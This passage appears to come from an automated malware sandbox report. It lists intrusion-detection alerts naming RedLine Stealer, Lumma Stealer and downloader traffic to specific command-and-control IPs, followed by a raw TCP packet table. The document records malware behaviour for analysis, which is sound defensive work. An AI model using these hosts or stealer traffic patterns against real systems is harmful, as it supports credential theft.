192.168.2.577.105.136.350283812046045 12/06/23-14:36:12.083206	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50283	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.83.14550196802048093 12/06/23-14:35:05.393985	TCP	2048093	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Check-In	50196	80	192.168.2.5	104.21.83.145
192.168.2.577.105.136.350320812046045 12/06/23-14:36:37.012244	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50320	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350355812046045 12/06/23-14:37:01.752652	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50355	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350308812046045 12/06/23-14:36:28.952581	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50308	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350266812046045 12/06/23-14:36:00.860284	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50266	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350294812046045 12/06/23-14:36:19.720749	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50294	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350272812046045 12/06/23-14:36:04.780598	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50272	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350325812046045 12/06/23-14:36:40.326068	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50325	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350361812046045 12/06/23-14:37:06.857535	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50361	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350331812046045 12/06/23-14:36:44.280145	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50331	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350366812046045 12/06/23-14:37:10.126303	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50366	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350277812046045 12/06/23-14:36:08.103794	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50277	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350319812046045 12/06/23-14:36:36.357919	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50319	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350299812046045 12/06/23-14:36:22.998701	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50299	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350293812046045 12/06/23-14:36:19.055677	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50293	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350336812046045 12/06/23-14:36:49.242148	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50336	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350327812046045 12/06/23-14:36:41.646083	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50327	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350284812046045 12/06/23-14:36:12.740748	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50284	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350247812046045 12/06/23-14:35:48.186162	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50247	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350275812046045 12/06/23-14:36:06.769942	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50275	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350345812046045 12/06/23-14:36:55.159061	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50345	81	192.168.2.5	77.105.136.3
192.168.2.537.1.198.25150187802839343 12/06/23-14:35:39.174213	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	50187	80	192.168.2.5	37.1.198.251
192.168.2.577.105.136.350309812046045 12/06/23-14:36:29.696042	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50309	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350250812046045 12/06/23-14:35:50.167908	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50250	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350312812046045 12/06/23-14:36:31.744103	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50312	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350303812046045 12/06/23-14:36:25.632684	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50303	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350318812046045 12/06/23-14:36:35.709561	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50318	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350321812046045 12/06/23-14:36:37.678957	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50321	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350330812046045 12/06/23-14:36:43.615057	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50330	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350251812046045 12/06/23-14:35:50.825474	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50251	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350311812046045 12/06/23-14:36:31.045970	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50311	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350257812046045 12/06/23-14:35:54.795722	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50257	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350340812046045 12/06/23-14:36:51.889892	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50340	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350274812046045 12/06/23-14:36:06.102370	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50274	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350346812046045 12/06/23-14:36:55.814799	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50346	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350363812046045 12/06/23-14:37:08.174720	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50363	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350298812046045 12/06/23-14:36:22.345639	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50298	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350364812046045 12/06/23-14:37:08.818539	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50364	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350317812046045 12/06/23-14:36:35.040401	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50317	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350322812046045 12/06/23-14:36:38.345066	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50322	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350328812046045 12/06/23-14:36:42.306155	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50328	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350256812046045 12/06/23-14:35:54.137806	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50256	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.52.22349705802047660 12/06/23-14:33:00.564607	TCP	2047660	ET MALWARE Win32/TrojanDownloader Variant Activity (GET)	49705	80	192.168.2.5	104.21.52.223
192.168.2.577.105.136.350369812046045 12/06/23-14:37:12.112948	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50369	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350292812046045 12/06/23-14:36:18.389256	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50292	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350362812046045 12/06/23-14:37:07.522278	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50362	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350365812046045 12/06/23-14:37:09.468071	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50365	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350267812046045 12/06/23-14:36:01.508627	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50267	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350359812046045 12/06/23-14:37:05.563977	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50359	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350307812046045 12/06/23-14:36:28.273610	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50307	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350276812046045 12/06/23-14:36:07.453180	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50276	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350310812046045 12/06/23-14:36:30.384232	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50310	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350313812046045 12/06/23-14:36:32.405793	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50313	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350252812046045 12/06/23-14:35:51.486831	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50252	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350341812046045 12/06/23-14:36:52.546584	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50341	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350304812046045 12/06/23-14:36:26.286831	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50304	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350335812046045 12/06/23-14:36:48.579507	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50335	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350246812046045 12/06/23-14:35:47.521454	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50246	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350329812046045 12/06/23-14:36:42.957751	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50329	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350282812046045 12/06/23-14:36:11.427578	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50282	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350356812046045 12/06/23-14:37:02.409479	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50356	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350273812046045 12/06/23-14:36:05.431652	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50273	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350254812046045 12/06/23-14:35:52.820317	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50254	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350248812046045 12/06/23-14:35:48.865133	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50248	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350289812046045 12/06/23-14:36:16.396787	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50289	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350326812046045 12/06/23-14:36:40.988661	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50326	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350332812046045 12/06/23-14:36:44.925833	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50332	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350271812046045 12/06/23-14:36:04.130647	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50271	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350360812046045 12/06/23-14:37:06.208022	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50360	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350354812046045 12/06/23-14:37:01.103024	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50354	81	192.168.2.5	77.105.136.3
192.168.2.537.1.198.25150133802839343 12/06/23-14:33:45.067270	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	50133	80	192.168.2.5	37.1.198.251
192.168.2.577.105.136.350265812046045 12/06/23-14:36:00.212175	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50265	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350259812046045 12/06/23-14:35:56.113850	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50259	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350348812046045 12/06/23-14:36:57.105195	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50348	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350337812046045 12/06/23-14:36:49.902555	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50337	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350295812046045 12/06/23-14:36:20.371059	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50295	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350343812046045 12/06/23-14:36:53.852752	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50343	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350260812046045 12/06/23-14:35:56.768169	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50260	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350302812046045 12/06/23-14:36:24.976708	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50302	81	192.168.2.5	77.105.136.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2023 14:32:53.866353035 CET	49674	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:32:53.866357088 CET	49675	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:32:53.960131884 CET	49673	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:00.469341040 CET	49705	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:33:00.563971996 CET	80	49705	104.21.52.223	192.168.2.5
Dec 6, 2023 14:33:00.564228058 CET	49705	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:33:00.564606905 CET	49705	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:33:00.658879995 CET	80	49705	104.21.52.223	192.168.2.5
Dec 6, 2023 14:33:01.209007978 CET	80	49705	104.21.52.223	192.168.2.5
Dec 6, 2023 14:33:01.256983995 CET	49705	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:33:01.427227020 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:01.521477938 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:01.521655083 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:01.522250891 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:01.616259098 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.386810064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.386840105 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.386861086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.386897087 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.387182951 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.387232065 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.387346029 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.387485981 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.387530088 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.387619019 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.387692928 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.387737036 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.387768984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.387866974 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.387917042 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.387999058 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.388073921 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.388092041 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.388128042 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.388221979 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.388262987 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.388297081 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.391741037 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.391789913 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.391794920 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.391882896 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.391922951 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.391932011 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.391995907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392034054 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.392066002 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392169952 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392206907 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.392256975 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392318964 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392355919 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.392385006 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392421007 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392458916 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.392505884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392524004 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392560959 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.392581940 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392628908 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392668962 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.392685890 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392751932 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.392791986 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.392813921 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.393052101 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.393091917 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.393676996 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.393791914 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.393835068 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.393884897 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.393949986 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394078970 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394087076 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.394186020 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394227028 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.394273996 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394357920 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394398928 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.394417048 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394452095 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394491911 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.394514084 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394551992 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394588947 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.394639969 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394721031 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394757986 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.394784927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394881010 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.394918919 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.394951105 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395028114 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395066977 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.395175934 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395258904 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395297050 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.395313978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395374060 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395421028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395423889 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.395489931 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395509005 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395531893 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.395580053 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395620108 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.395639896 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395709991 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395750046 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.395761967 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395838022 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395854950 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395879030 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.395910978 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395951986 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.395968914 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.395973921 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.396202087 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.396399975 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.396450996 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.396539927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.396608114 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.396644115 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.396691084 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.396770000 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.396804094 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.396852970 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.396897078 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.396931887 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.397102118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398164034 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398200989 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.398235083 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398313046 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398346901 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.398430109 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398497105 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398531914 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.398578882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398662090 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398699999 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.398729086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398818970 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398855925 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.398932934 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398953915 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.398987055 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.399068117 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.399148941 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.399183035 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.399230003 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.399317980 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.399413109 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.399439096 CET	49706	80	192.168.2.5	104.21.73.195
